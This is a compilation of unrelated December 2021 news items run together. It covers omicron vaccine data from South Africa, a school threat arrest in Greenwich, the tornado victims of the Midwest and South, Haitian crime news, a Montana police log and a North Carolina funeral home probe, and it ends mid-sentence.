CDC is tracking how fast the percentage doubles, and as more cases come in, it may be better able to predict whether or when the omicron variant becomes the dominant version of the coronavirus in the U.S, health officials say. In Britain, omicron cases are doubling every two to three days. Health officials say the variant will replace delta as the dominant coronavirus strain within days. In the new South Africa findings, people who received two doses of the Pfizer-BioNTech vaccine appeared to have just 33% protection against infection, compared to those who were unvaccinated, during the country's current omicron-fueled surge, but 70% protection against hospitalization. The analysis was conducted by Discovery Health, South Africas largest private health insurer, and the South African Medical Research Council. The study did not look at booster shots, which are not yet prevalent in South Africa but which data from elsewhere has indicated improves protection. The Pfizer vaccine's 70% protection against hospital admission during the omicron surge compares to a 93% protection level seen in South Africas delta-driven wave, according to the new analysis. That's a big drop in vaccine protection from severe illness requiring hospitalization, said Dr. Eric Topol, head of the Scripps Research Translational Institute. What we dont know yet is whether the booster will restore that back to greater than 90% and for how long, Topol said. The analysis in South Africa was based on examining more than 211,000 COVID-19 test results that date from Sept. 1 to Dec. 7 41% of which were for adults who had received two doses of the Pfizer vaccine, which is the most commonly used one in South Africa. Experts now say that omicron accounts for more than 90% of all new infections in South Africa, according to Discovery Health chief executive Dr. Ryan Noach. Researchers around the world are rushing to figure out what the variant will mean for the coronavirus pandemic, now well into its second year. More information came Tuesday from Pfizer, which announced that its experimental pill to treat COVID-19 separate from its vaccine appears effective against omicron. In the weeks since the variant was detected, South Africa has experienced rapid spread of the virus. The seven-day rolling average of daily new cases in the country rose over the past two weeks from 8.07 new cases per 100,000 people on Nov. 29 to 34.37 new cases per 100,000 people on Dec. 13, according to Johns Hopkins University. The death rate hasn't increased during that same period. Some say theres still not enough data to draw broad conclusions about hospitalizations and the severity of disease caused by omicron. Is omicron milder, or more severe than delta? said Dr. Michael Head, Senior Research Fellow in Global Health, University of Southampton, wrote of the study. Time will tell. The worlds finest scientists, including many in the global south such as in South Africa, will find out. For now, national-level decision-makers have to consider that discretion is the better part of valor. ___ This story has been updated to correct the time period that the samples were from. They dated from Sept. 1 to Dec. 7, not Nov. 15 to Dec. 7. It also corrects that not all of the samples were positive, as a news release from Discovery initially said. ___ Associated Press writers Mike Corder, Mike Stobbe and Carla K. Johnson contributed. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic GREENWICH A disturbing message found in a girls bathroom late last week at Greenwich High School was allegedly created by a 15-year-old girl, who now faces charges in the incident, according to local police. Police did not release any other additional specifics this week about the incident on the morning of Dec. 9, other than to provide the age and gender of the juvenile suspect. Her name has not been released. The message was found last Thursday, Dec. 9, in a bathroom, and the juvenile suspect was apprehended and arrested Friday, Dec. 10, police said. There was a large police presence at GHS on both days as a result of the incident, which was deemed not credible by police. The 15-year-old girl was charged with first-degree threatening, third-degree criminal mischief and breach of peace in connection with the incident, according to police. The criminal case was sent to Juvenile Matters at state Superior Court in Bridgeport, due to her age, police said. No other information about the case will be released, according to Greenwich police Lt. Martin OReilly. Officers were sent Greenwich High after the message was discovered at about 9:30 a.m. Thursday. The next day, a half-dozen police personnel, including detectives, were dispatched again to Greenwich High, both inside and outside, to provide a sense of security, police said. At the time, police and school officials said there was no imminent threat to GHS. Additional counseling support was available at GHS for students because the incident caused a great deal of anxiety, Superintendent Toni Jones said in an email to families and staff. Classes continued both days, while a number of social-media posts triggered by the incident rattled the school community. We are asking to work together as a community to stop the spread of rumors about dangerous weapons, using individual student names, and other social media untruths which are circulating, Jones said in the email. Prank or not, still a threat Police took these threats seriously, regardless if the threat was meant as a prank or not, Police Capt. Mark Zuccerella said last week. While the threat was not credible, these matters are taken seriously, Jones said in a statement sent via email to families and staff Friday evening. Jones, in her note, said social media posting complicated the situation. For those of you with children on social media, we encourage you to have a discussion about the responsible use of social media and the need to report immediately if they see something which is disturbing. After our investigation, it appears that a social media post was being circulated almost 30 minutes before GHS administration were notified. Students were upset and teachers had no idea what was happening. Please reinforce the saying. If you see something, say something, Jones wrote. The Greenwich incident followed a number of other cases of threatening messages, triggering a police response, at schools around the region this month, including Norwalk and Danbury. A 14-year-old male from Norwalk was charged with numerous criminal complaints after allegedly making multiple false threats at Norwalk High School over the last week. rmarchant@greenwichtime.com GREENWICH As the nation prepares to gather for celebrations this holiday season, the American Red Cross, which provides 40 percent of the countrys blood, is facing historically low supply levels. Busy holiday schedules, breaks from school and winter weather all contribute to a drop in blood and platelet donations this time of year, according to the Red Cross. Those factors, combined with the ongoing challenges of the COVID-19 pandemic, make it vital for donors to make an appointment to give as soon as possible, the Red Cross said. If more donors dont come forward to give blood, some patients who require transfusions may face delays in care, according to the Red Cross. Donors are urged to schedule an appointment now by using the Red Cross Blood Donor App, visiting RedCrossBlood.org or calling 1-800-RED CROSS (1-800-733-2767). There is no blood donation waiting period for those who have received a flu shot or a Moderna, Pfizer or Johnson & Johnson COVID-19 vaccine or booster, so long as they are symptom-free. To encourage donors to help address the historically low blood supply, all who come to give Dec. 17 to Jan. 2 will receive an exclusive Red Cross long-sleeved T-shirt, while supplies last. Each Red Cross blood drive and donation center follows the highest standards of safety and infection control. Additional precautions including face masks for all, regardless of vaccination status have been implemented. Donors are asked to schedule an appointment before arriving at the drive. Upcoming blood donation opportunities in Greenwich: Dec. 17: 7 a.m. to 3:30 p.m., Greenwich Blood Donation Center, 99 Indian Field Road. Dec. 19: 7 a.m. to 3:30 p.m., Greenwich Blood Donation Center. Dec. 20: 1 to 6 p.m., Greenwich Hospital, 5 Perryridge Road. Dec. 20: 11 a.m. to 7:30 p.m., Greenwich Blood Donation Center. Dec. 21: 11 a.m. to 7:30 p.m., Greenwich Blood Donation Center. Dec. 26: 7 a.m. to 3:30 p.m., Greenwich Blood Donation Center. Dec. 27: 11 a.m. to 7:30 p.m., Greenwich Blood Donation Center. Dec. 28: 11 a.m. to 7:30 p.m., Greenwich Blood Donation Center. Dec. 31: 7 a.m. to 3:30 p.m., Greenwich Blood Donation Center. Jan. 2: 7 a.m. to 3:30 p.m., Greenwich Blood Donation Center. Donors can save up to 15 minutes at the blood drive by completing a RapidPass. The pre-donation reading and health history questionnaire can be done online on the day of donation at RedCrossBlood.org/RapidPass. To donate blood, individuals must bring a blood donor card or drivers license, or two other forms of identification. Individuals who are 17, weigh at least 110 pounds and are in generally good health may be eligible to donate blood. The Red Cross is also screening all blood, platelet and plasma donations from self-identified African American donors for the sickle cell trait. This screening will provide Black donors with health insight and help the Red Cross identify compatible blood types more quickly to help patients with sickle cell disease who require trait-negative blood. Blood transfusion is an essential treatment for those with sickle cell disease, and blood donations from individuals of the same race, ethnicity and blood type have a unique ability to help patients fighting sickle cell disease. Donors will receive sickle cell trait screening results within one to two weeks through the donor portal at RedCrossBlood.org. For more information on the nonprofit American Red Cross, visit redcross.org or cruzrojaamericana.org. A Kentucky woman who worked her way up from school bus driver to become an administrator and school board member. A grandfather who stole the show when he was around his grandchildren. A 2-month-old whose family tried to protect her by putting her in a car seat. A 94-year-old Korean War veteran from Arkansas. These were among at least 88 people killed during tornadoes Friday night that ripped through five states in the Midwest and South. The tornado outbreak cut a path of devastation that stretched from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged. In Kentucky, 74 people died, and Gov. Andy Beshear said the death toll could grow. Here are some of the people who perished during the tornadoes. ___ By the time she won election to a vacant school board seat last year, Jenny Bruce had played a role at virtually every level in the small school district in Dawson Springs, Kentucky, where she had graduated from high school decades earlier. Jenny started out driving a bus and she was a teachers aide, and she gradually worked her way up to finance director, Dawson Springs School Superintendent Leonard Whalen recalled. She was some kind of lady. During the deadly tornado outbreak late Friday and early Saturday, 65-year-old Bruce was sheltering inside when a tornado obliterated her home, Whalen said. He said neighbors found her amid the wreckage. A county coroner later confirmed her death. Bruce had worked for the school system for roughly four decades before retiring about two years ago. Whalen helped persuade her to campaign for an empty seat on the five-member school board in 2020, and she ended up running unopposed. In her years working in the school districts administrative office, Whalen said, Bruce was universally liked never saying an unkind word about anyone and often bringing cookies and other treats for co-workers to share. She was a Dawson Springs graduate and she loved our schools, Whalen said. She loved kids. ___ Kevin Dickey loved spending time with his family and stole the show and the hearts of his grandchildren anytime he was around, his family said in a statement. He also had a tight bond with his co-workers at Amazon, they said. Dickey, 62, was among six people killed when an Amazon warehouse in Edwardsville, Illinois, was struck. Authorities say both sides of the warehouse used to prepare orders for delivery collapsed inward and the roof caved. Rescuers had to pull survivors from the rubble. Dickeys daughter, Kristen Anastasi, told the Marion Republican that a co-worker said Dickey was trying to get people to safety and making sure his drivers were OK. She called his work ethic unmatched and said that's what the family would expect of him. Dad talked often about his co-workers and their daily stories. He had a great bond with many, the family said. ___ Douglas Koon, his wife, Jackie, and their three children huddled in his mother-in-laws bathroom in Dawson Springs, Kentucky, as the storms approached. The tornado hit the house directly, flinging the family around and tossing in the air a bathtub that was shielding two of his sons. The couple put their infant daughter, Oaklynn, in a car seat to protect her, and she appeared to be OK on Saturday. But by Sunday, the baby was having seizures, and doctors noticed a brain bleed after she was taken to the hospital. They believed she had a stroke, Koon said in a Facebook post. Its not looking good at this point, he wrote. The machines are keeping her alive. Early Monday morning, the family posted that the infant had died. In a text message to The Associated Press on Monday, Koon said he was struggling to process everything that Im going through. A family member has set up a GoFundMe account for Koons family and his mother-in-law, Sheila Rose, who lost her home. ___ Lisa Taylor had worked 14 years as a florist at the same family-owned shop in Memphis, Tennessee, when she left in October to start a new career at the airport with the Transportation Security Administration. Co-workers at Rachels Flowers congratulated her with balloons on a sign that read, Good Luck, Lisa. Taylor, 54, stayed in touch with her friends at the flower shop, making plans to return part time over the holidays to make some extra money. Then the phone rang Saturday, just as the power came back on at the shop after violent storms passed through overnight. Taylors longtime boyfriend was calling with tragic news. A large tree had fallen through her roof overnight, killing Taylor as she slept in bed. She had just gotten started on her new adventure and shes just been taken, said Angie Morton, who worked as a florist alongside Taylor for several years. A single mother of two children now in their 20s, Taylor took her new government job for higher wages and the extra stability that came with health insurance and other benefits, friends said. But she had a creative spark that made her a natural when it came to working with flowers, Morton said, whether she was helping grieving families design funeral arrangements or using bits and pieces of broken, castoff jewelry to add some custom sparkle to high school girls prom corsages. She really liked to bling everything up, Morton said. She would take stuff other people would throw in the trash and make beautiful things out of it. If she found an earring in a store that didnt have a matching pair, she would think, I know theres somebody who that would be perfect for her corsage. Charles Newell, deputy emergency management administrator for Shelby County, Tennessee, said she was the only known storm death in the county that includes Memphis. Rachel Greer, the flower shops owner, was helping plan floral arrangements for Taylors funeral. She said Taylors daughter had requested a sea of purple flowers such as lavender roses and chrysanthemums to match her mothers favorite color. Meanwhile customers were dropping by the shop to offer condolences and leaving notes. One of them read: Lisa was a light in a dark world. ___ Annistyn Rackley was an outgoing and energetic 9-year-old who loved swimming, dancing and cheerleading, according to her great-aunt Sandra Hooker. The two had become close over the past four years: Hooker offered the girl support during doctors visits and blood draws required by a rare liver condition that still didnt keep the southeastern Missouri girl from participating in activities. Annistyn, her parents and her two younger sisters took shelter Friday night in a windowless bathroom in their new home west of Caruthersville, Missouri. To prove theyd gotten to the familys safe space, the girls mom texted Hooker a photo of the three in and next to the bathtub all of them smiling, 9-year-old Annistyn holding her favorite doll. Fifteen minutes later, Sandra Hooker said, a tornado splintered the home, carrying the family members dozens of yards through the air into a field where first responders found them in mud. Annistyn died, and the others were injured. The mother, Meghan Rackley, and their middle daughter, 7-year-old Avalinn, remained hospitalized Monday. Hooker called Annistyn a special angel and said the girl delighted in donning outfits and makeup for cheer competitions and learning new dances from TikTok. She did cartwheels and splits in front of Hooker. I would just gasp because she could do the splits all the time, and she would just laugh, Hooker said. She loved dancing. Hooker teaches gifted students at the same elementary school where Meghan Rackley teaches kindergarten in Caruthersville, which is nestled next to the Mississippi River in whats known as Missouris Bootheel region. Hooker said Annistyns parents learned when she was 2 months old that she had a rare liver disorder in which bile ducts dont develop properly, sometimes making it hard to fight off illness. ___ Golden Wes Hembrey, 94, died when a tornado destroyed the nursing home where he lived in Monette, Arkansas. His nephew Mike Hembrey said the Korean War veteran and retired farmer had been in the nursing home since 2016 because of Alzheimers disease. But he remembered his uncle as engaged with his extended family throughout their younger years. He was outgoing, his nephew said. Hed be out in the yard playing with us. But dont make him mad. When he was mad, he was mad. He liked cutting up, telling jokes, said niece Kristie Carmichael. The Hembreys said Jimmie Hembrey had visited his brother the day before the tornado and found him to be in good health. ___ Graves County Deputy Jailer Robert Daniel was supervising inmate workers at a candle factory in Mayfield, Kentucky, when the tornado struck. His boss said Monday that Daniel had been focused on the prisoners in his care when he was killed as the twister wrecked the plant. Daniel, 47, had worked at the county jail for a few years previously and was rehired a few months ago, said Graves County Jailer George Workman. The seven inmates whom Daniel was overseeing at the factory Friday night were part of a brand-new work program and had just begun their jobs three days earlier. After the storm hit, the inmates told Workmans deputies that it was Daniel who literally had pushed them all to safety, guiding them through a doorway and against a wall in an interior part of the plant. Workman said the last inmate through the door told deputies that Daniel was behind him one moment, and suddenly he was gone. He was physically still in the act of trying to get them to safety. And thats when it hit, Workman said. It takes a tremendous person to be able to lay their own life down for somebody else. But he did and he was doing it for the right reasons. All seven of the inmates in Daniels care survived, Workman said, with two of them suffering broken legs. A cousin, Mark Saxton Sr., said Daniel was a native of the Mayfield area, which was devastated by the storm. He loved his community, Saxton said. He was a great family man. Everybody who met him just loved him. Hes the type of person you want to be associated with. ___ Brian Crick, a judge for two western Kentucky counties, was known for his sound judgment when it came to solving problems, a fellow judge said. Crick, 43, was a district judge for Muhlenberg and McLean counties who handled criminal misdemeanor cases, traffic court and juvenile cases, said Circuit Judge Brian W. Wiggins. Wiggins said he had known his fellow judge since 2005, when Crick was a public defender. He later was in private practice before taking the bench in 2011. Many of the defendants who came before him werent represented by attorneys, and Crick was very good about seeing to it that their rights were protected, Wiggins said. He had a very common- sense approach. He was very level-headed about how to handle cases and how to talk to people. Wiggins was killed when the storm hit his familys home in Muhlenberg County. He is survived by a wife and three children, all of whom made it through the storm without major injuries, Wiggins said. He was just a consummate family man ... very engaged with his children and his wife. They were No. 1 to him. We are especially heartbroken to get the news, Kentucky Supreme Court Chief Justice John Minton said in a statement. This is a shocking loss to his family, his community and the court system and his family is in our prayers. ___ Two of June Penningtons children said the Manila, Arkansas, resident was devoted to her four children and nine grandchildren and had a particular soft spot for animals. Pennington, 52, was working as an assistant manager at a Dollar General store in nearby Leachville, Arkansas, when it was hit. She didnt love anything as much in life as her kids and grandkids, said Christie Pennington. She was truly selfless and loved wholeheartedly. David Benefield, the oldest of June Penningtons four children, said he was born when his mother was only 14. She was a kid raising a kid. We were just like best friends, he said. Its crazy how close you become. Her children remember her as someone who would do anything that we asked her to do, Benefield said. Even after her children were grown, they said June Pennington wanted to spend as much time with them as possible. Christie Pennington said her mother adopted dogs, cats, rabbits, birds, turtles and even a ferret. If there was ever an animal in need of a home, we took it in, she said. ___ Clayton Lynn Cope, 29, had been working at Amazon for more than a year before the storm killed him at a company facility in southwestern Illinois. Five other workers also died at the facility located outside St. Louis. Cope, who lived in nearby Alton, Illinois, had joined the Navy after graduating from high school and was an avid outdoorsman who also liked to ride motorcycles and play video games. He had a special place in his heart for his dog, Draco, said his younger sister, Rachel Cope. He would go out of his way for anyone, Cope said in a written message. ___ Ollie Borgmann, 84, was a sweet and typical grandmother who had lived in her home in Defiance, Missouri, for decades. A tornado blew through the home she shared with her 84-year-old husband, Vernon, on Friday night, blowing the house off its foundation, as well as that of a neighbors house in the town located about 40 miles (64 kilometers) west of St. Louis. Her son Mark Borgmann told the St. Louis Post-Dispatch that his brother, Keith, was on the phone with their father during the powerful storm when the line went dead. The next thing Vernon Borgmann remembers is waking up in a nearby field surrounded by debris. He suffered scratches and bruises but will be OK, said Mark Borgmann. When Ollie Borgmann was found by rescuers, she was awake. She died later at a hospital. ___ Lovan reported from Louisville, Kentucky. Bynum reported from Savannah, Georgia. Associated Press writers Sudhin Thanawala in Atlanta; Travis Loller in Nashville, Tennessee; John Hanna in Topeka, Kansas; Terry Wallace in Dallas; Sophie Tareen in Chicago; Josh Funk in Omaha, Nebraska; Mike Schneider in Orlando, Florida; and Jeff Amy in Atlanta contributed to this report. WILLIAMSBURG, Va. (AP) A new scholarship at William & Mary has been named for former Secretary of State Colin Powell, who died earlier this year. The university in Williamsburg, Virginia, said in a statement this month that the scholarship is designed to cultivate leaders who can emulate Powell's example as a statesman. A veteran of the Vietnam War, Powell spent 35 years in the U.S. Army and rose to the rank of four-star general before becoming the first Black chairman of the Joint Chiefs of Staff. In 2001, he joined President George W. Bushs administration as secretary of state, the first Black person to represent the U.S. government on the world stage. Powells tenure, however, was marred when he made faulty claims to justify the 2003 U.S. war in Iraq. The scholarship will go to at least six students who want to study abroad each year. "The Powell scholarship will open doors for future leaders to gain the kind of transformative experience that comes from studying abroad, William & Mary President Katherine A. Rowe said in a statement. A William & Mary Foundation trustee who wished to remain anonymous provided $1 million in seed money for the scholarship. The university will establish an endowed fund to begin awarding the Colin Powell Global Engagement Scholarship in the 2024-2025 academic year. All three of Powell's children attended William & Mary. He spoke at its 1988 commencement and received an honorary degree. His son, Michael Powell, recently ended his term as chair of the William & Mary Foundation and previously served on the Board of Visitors. William & Mary Chancellor Robert Gates, a former U.S. Secretary of Defense, noted Powell's humble beginnings and said that he "understood the importance of mentorship and paying it forward for later generations. Powell died in October of COVID-19 complications. He was 84. A Samsung device sporting model code SM-A536U, which is likely the Galaxy A53 5G (A52 5G is SM-A526U), has appeared on Geekbench with its key specs. The device is running Android 12 and has 6GB RAM onboard. However, there could be more RAM options that are yet to be confirmed. The motherboard section in the benchmark's listing mentions "s5e8825," which is a codename for the Exynos 1200 SoC. It includes eight CPU cores - two with a maximum clock frequency of 2.40GHz, and the rest capped at 2GHz. And to handle graphically intensive tasks such as gaming and video editing, there's a Mali-G68 GPU onboard. You get this configuration on MediaTek's Dimensity 900 chip as well, but we've previously seen that on Geekbench with "k6877v1_64" mentioned in the benchmark database's motherboard section and MT6877 as the processor name, so it seems the Galaxy A53 5G will come with the Exynos 1200 at the helm. Geekbench doesn't reveal anything else about the Samsung Galaxy A53 5G, but we already know what the smartphone will look like, thanks to previously leaked renders. It will pack a 120Hz AMOLED screen and sport a 64MP quad camera. However, the 3.5mm headphone jack we had on the Galaxy A52 and A52 5G is now done away with on the Galaxy A53 5G by Samsung. Samsung Galaxy A53 5G leaked renders (Source: OnLeaks and Digit.in) The Galaxy A52 and A52 5G were announced in March, so we expect the Galaxy A53 5G to arrive during the same time next year. Source | Via GSMArena.com has been around for over two decades and a large, vibrant community has formed around the site. Many fans keep coming back for long discussions in the comment sections under our reviews and our YouTube videos. This year weve decided to bring a part of this all-digital community to the real world with the launch of our very own merch store. You can find it on merch.gsmarena.com, it is already stocked up with a large selection of T-shirt designs in various colors. If you want something a bit warmer, there is a long sleeve tee, a sweatshirt and a hoodie. For the designs, we tried to offer a lot of variety with a mix of modern and retro - after all, the site was established in 2000 and one of the designs celebrates exactly that. 21 years is an eternity in the world of tech. Also, regular viewers of our YouTube channel will recognize a recurring line from our videos. But this is just the start, we plan to introduce new designs every month, so come back to the store every once in a while to see if theres anything new you like. You dont have to sit on the F5 button though, you will see the new designs in our reviews both the videos and in the camera samples section of the written ones. As you can probably tell from the photos, we just received our first batch and were eager to try them on. We just opened a merch store - here are some of the apparel designs that are available now Note that while the designs are ours, the manufacturing of the apparel, sales and customer support are all handled by our partners, Fourthwall. Shipping is worldwide and Fourthwall will make best efforts to manufacture the items locally for the following regions the US, the UK, the European Union and Australia. This will speed up shipping times and avoid import fees. However, it may not be possible for certain combinations of designs and colors. GSMArena tees in action Go ahead and browse through the merch store. If you see something you like, the store accepts payments via credit and debit cards, PayPal, Google Pay and Apple Pay. You can cancel an order before it goes to production and return items with quality issues. Check out the FAQ for more details. And we welcome any feedback you might have regarding the design or selection of the store. Hit the comments section below to let us know what you think about this latest project of ours! Holiday bike ride Everyone is invited to join MOB Mountain Bike Clubs bike ride tomorrow Dec. 23, with a meeting time of 6 p.m. at the Agana Shopping Center. Go time is 6:30 p.m. and cyclists will ride to Paseo, Adelup, Skinners Plaza and back to Agana Shopping Center. Decorate your bikes with lights and holiday decor and wear a holiday outfit! You must wear helmets and have cycling lights on your bike. Candy will be distributed. Cookie decorating Dusit Thani is hosting a gingerbread cookie decorating activity 1-3 p.m. Dec. 22-24 at the first floor lobby, window-side overlooking the pool. Cost is $40 per person and includes cookies, Dusit apron, paper chefs hat, hot cocoa and snacks. To reserve your spot, call (671) 648-8000. Gingerbread decorating contest Children 12 years and younger are invited to decorate a gingerbread man or gingerbread house for a chance to win prizes from The Westin Resort Guam. No purchase necessary for the gingerbread man; a gingerbread house kit can be purchased for $25. Quantities of each are limited. First, second and third place winners will be selected in each category. Gingerbread submissions will be displayed through Jan. 7. Proceeds, minus administrative fees, will be donated to the Salvation Army Guam. For updates, go to the hotels Facebook or Instagram pages. Christmas Bazaar Agana Shopping Center hosts its annual Christmas Bazaar featuring local shops and entrepreneurs from Dec. 17-24 during center hours 10 a.m.-9 p.m. Youll find the bazaar vendors on the second floor next to Marketplace Too. Santa portraits Dress the kids in their holiday finest to take pictures with Santa Claus at Micronesia Mall! Photo packages start at $20, and you can purchase a CD of photos. Make sure to check in at the photo desk before lining up for pictures. Check the malls Instagram @micronesiamall.guam for Santas schedule. Ugly Christmas sweater contest Take a photo while wearing your ugly Christmas sweater in the Micronesia Malls Center Court and submit the photo by direct message to the malls Facebook or Instagram page. Five winners will receive $200 in Foot Locker gift cards. You can take an individual picture or with a group of not more than 25 people. Contest ends Dec. 28 and winners will be chosen Jan. 3. For updates, go to the malls Facebook or Instagram page. Super Train photo contest Got an old photo of you riding the Super Train at the Micronesia Mall? Take a new one and submit both by direct message to the malls Facebook or Instagram page. Three winners will be chosen; prizes include $300, $200 and $100 in Foot Locker gift cards. Winners will be announced Jan. 5 on the malls social media pages. For updates, go to the malls Facebook or Instagram page. This weekend, the University of Guam will realize the efforts of a program that got its start back in 1989, when the university started a two- Haiti - Justice : A powerful gang leader and his second member of the G9 arrested Tuesday, December 14, during an operation carried out in Cazeau after several days of spinning, the Central Direction of the Judicial Police (DCPJ), through the Research and Intervention Brigade (BRI), proceeded to the arrest of Cathel Jones a powerful and dangerous gang leader of Terre Noire (Cite Soleil) ally of the G9, as well as his right-hand man Mahotiere Angelo. These two armed and dangerous bandits are the subject of serious accusations including among others the assassination last June of the Divisional Inspector Adolphe Myradel, then in charge of the police station in Drouillard in the Municipality of Cite Soleil https: // www.haitilibre.com/article-33914-haiti-flash-5-postes-de-police-attaques-par-des-bandits-en-mun-de-24h.html During the BRI operation a PA 15 assault rifle of 5.56 caliber, serial # SDC 087119, two loaded magazines, a white NISSAN Xterra vehicle, Registration AA-15840 and 4 telephones, were found in their possession and seized. They are currently in police custody at the DCPJ for their alleged involvement in several kidnapping and murder cases. See also : https://www.haitilibre.com/en/news-33914-haiti-flash-5-police-stations-attacked-by-bandits-in-less-than-24-hours.html HL/ HaitiLibre Haiti - Justice : The RNDDH denounces 20 years of corruption with complete impunity (Investigation) As part of the international anti-corruption day (December 8), the National Network for the Defense of Human Rights (RNDDH) published last week an investigation report on numerous cases of corruption within public institutions. these last 20 years have gone unpunished Embezzlement of public property, money laundering, illicit enrichment, overbilling, favoritism, bribes, influence peddling, etc..., these are the main acts of corruption enshrined in legal instruments and providing institutions called upon to fight corruption in Haiti a precise framework for cleaning up the state apparatus. However, the investigation report underlines that despite the numerous denunciations and scandals which have marked public life over the past 20 years, only one conviction has been pronounced by the Haitian judicial authorities and only 2 debts were issued by the Superior Court of Accounts and Administrative Litigation (CSC/CA) Download the full report (PDF 26 pages) : https://www.haitilibre.com/docs/8-Rap-Lutte-contre-la-corruption-8-Dec-2021-ENG.pdf Learn more about "arret de debet" : Note that a "arret de debet" is made in the case of irregular public funds management pursuant to Article 19 of the Decree of 23 November 2005 on the organization of CSA/CA which states "The decision that commits the Accounting financial responsibility of law or fact either by finding embezzlement, misappropriation, theft or extortion either by falling within wrongdoing to the Treasury or to the financial interests of local governments and autonomous bodies takes the title of 'arret de debet'" See alos : https://www.haitilibre.com/en/news-35441-haiti-politic-fight-against-corruption-speech-by-prime-minister-henry.html HL/ HaitiLibre Haiti - News : Zapping... Hijacking of 4 freight trucks Tuesday, December 14 in Martissant, at least 4 freight trucks were hijacked by heavily armed armed individuals. Hearing of Claude Joseph postponed The former Prime Minister ai, Claude Joseph presented himself Tuesday, December 14 to the investigating cabinet with in particular his lawyers, but was not heard by the judge Garry Orelien, who considered that the conditions were not favorable... Cap-Haitien : UNICEF is sending emergency kits "UNICEF is working with the Ministry of Health and partners to send 6 emergency medical kits consisting of drugs, consumables and materials to the 2 hospitals in Cap Haitien for the treatment of burns" informs Bruno Maes, representative of UNICEF Haiti UN Humanitarian Air Service to help Cap-Haitien The team of "UN Humanitarian Air Service", managed by the World Food Program (WFP) in coordination with the Directorate of Civil Protection (DPC), provides assistance to the victims of the explosion in Cap-Haitien, ensuring the evacuation of the wounded and transport of medical kits for partners. USA : Repatriation On Tuesday, December 14, the Administration The Biden Administration repatriated 240 Haitians, including 21 children, to Port-au-Prince in two flights. New Ambassador of Japan Tuesday, December 14, Yuji KUBO, the new Japanese Ambassador to Haiti, delivered his cabinet letter to Jean Victor Geneus the new Minister of Foreign Affairs and expressed his desire to further strengthen good relations between Japan and Haiti. HL/ HaitiLibre Havre Police Department Steven Allen Stanley of Box Elder, 46, was arrested on four Justice or City court warrants served at Hill County Detention Center Tuesday at 8:58 a.m. -- An 11:42 a.m. Tuesday call about a deer that had its head stuck in the porch railing at a Sixth Street location was referred to Montana Fish, Wildlife and Parks. -- A detective from the Casper, Wyoming, police department asked Tuesday at 2:34 p.m. to speak with an officer. -- Two arrests were made after a caller at a First Street West business reported people harassing staff and patrons Tuesday at 5:55 p.m. No details on charges were provided in the dispatch log, but two people named as involved parties were listed in this morning's jail roster. Jacquline Colleen Chiefstick was being held on charges of driving under the influence and resisting arrest and David Taylor Eagleman was being held on five Justice or City Court warrants. Hill County Sheriff's Office Tuesday at 8:28 a.m., a caller at a Sixth Street North facility reported someone breaking things in their room and leaving, headed toward town. -- Tyler James Hanley of Hays, 35, was arrested on a charge of shoplifting and on three Justice or City court warrants, and Christian Michael Martell of Harlem, 29, was arrested on two Justice or City court warrants after shoplifters were reported by a caller at a U.S. Highway 2 West business Tuesday at 12:20 p.m. -- Two summonses were issued after a caller at a U.S. Highway 2 West business reported a theft, forgery or fraud at 4:47 p.m.Tuesday and a trespasser at 5:47 p.m. No details on charges were provided for either incident. -- Deputies investigated a sex offense reported in Box Elder at 5:10 p.m. Tuesday. -- A caller on County Road 836 Northwest reported a scam regarding a grant Tuesday at 6:54 p.m. -- A theft, forgery or fraud was reported on Sixth Street West Tuesday at 7:24 p.m. Havre Fire Department Emergency medical personnel responded to three calls Tuesday. Havre Animal Shelter The shelter this morning held one cat and two 6-month-old kittens of unknown gender, six male cats, five female cats, a female 16-week-old kitten, and one male and one female 7-month-old kittens. -- The shelter also held a male shepherd, a male 10-month-old mixed-breed puppy, two male pit bull terriers, a male German shepherd, two female mixed-breed dogs, a female 19-week-old mixed-breed puppy and a female pit bull terrier. Statements of Badran Chiya Kurd Deputy Co-chairmanship of the Autonomous Administration of North and East Syria, were made in an meeting held in Aleppo's Sheikh Maqsud Quarter , attended by hundreds of people. Badran Chiya Kurd said the withdrawal by the U.S from Afghanistan will create new balances in the region to which we ought to be vigilant and make use of the great powers present in the region in pushing for a political solution and to bring stability into the region. On the continuing attacks carried out by the Turkish occupation forces and the affiliated mercenary groups on North Eastern Syria generally and on Shahba and Manbij in particular Badran Chiya Kurd said they are all based on the chauvinist policies and annihilation against peoples saying they are continuing as the ruling mentality in Turkey exists. '' Turkey insists on its hostile policies and seeks to export its crises outside. '' Deputy Co-chairmanship of the Autonomous Administration of North and East Syria, added they have all instruments and grounds that make them able to find a political solution to the crisis sweeping the country. Adding ''any political solution would provide for the withdrawal of all foreign countries from Syria of the first of which Turkey from all occupied areas paving the way for the IDP return''. Chiya Kurd said the crisis in Syria was prolonged for the authorities in Damascus have not got a long term policy for the future of Syria, adopting the same old mentality' after the country was afflicted with calamities and destruction and economic collapse a 'new constitution should be drafted for the country to end this crisis''. L..A ANHA We're a family of seven living in Georgia where Andrew's working as a professor at GSU. You can read more about us here Board of Funeral Service may refer Shepherd findings to law enforcement The North Carolina Board of Funeral Service may refer the findings of its lengthy investigation of Thos. Shepherd & Son Funeral Directors to law enforcement authorities for consideration as to whether criminal charges are warranted. The potential for criminal charges was part of the final agency decision the regulatory board issued last week based on its three-year investigation of the funeral home and its business operations on Church Street and at Shepherd Memorial Park, where it operates a crematory. "Our legal and compliance staff are still assessing whether to send any recommendations to law enforcement if criminal violations are identified," Stephen Davis, executive director of the regulatory board, said via email. "If so, those recommendations will be forwarded to the Henderson County District Attorney." The cemetery has also been the subject of numerous complaints from family members of people buried there. Cemeteries are regulated by the N.C. Cemetery Commission, which has filed a complaint in Henderson County Superior Court seeking to put the memorial park in receivership. During a hearing on Nov. 10, the funeral service board heard testimony and evidence about nine complaints from consumers and details about a Board of Funeral Service inspectors examination of the business in June of 2020. A family members who had filed complaints against the funeral home testified in person at the hearing last month or submitted affidavits about their experience dealing with funeral home employees. Martha Walker, who had filed a complaint about her interactions with the funeral home, testified before the board in 2020 that she met with two Shepherd employees who were not licensed funeral directors Tiffany Blackwell and Ephraim Johnston John Irvin II and that the funeral home failed to file a death certificate after the death of her mother, Mary S. Beck. Blackwell, who worked at the funeral home from January 2020 until June 2020, became a key witness at last months hearing into numerous allegations contained in the boards case against the 118-year-old business. She testified that: She only saw Thomas Shepherd at the business one time in her six months there. Melody Shepherd directed her to meet with Martha Walker about funeral services. Melody Shepherd maintained a stack of death certificates that were pre-signed by her husband and that when employees needed a death certificate they would take one of the pre-signed certificates out of the cabinet for their use. She saw Melody Shepherd sign her husbands name 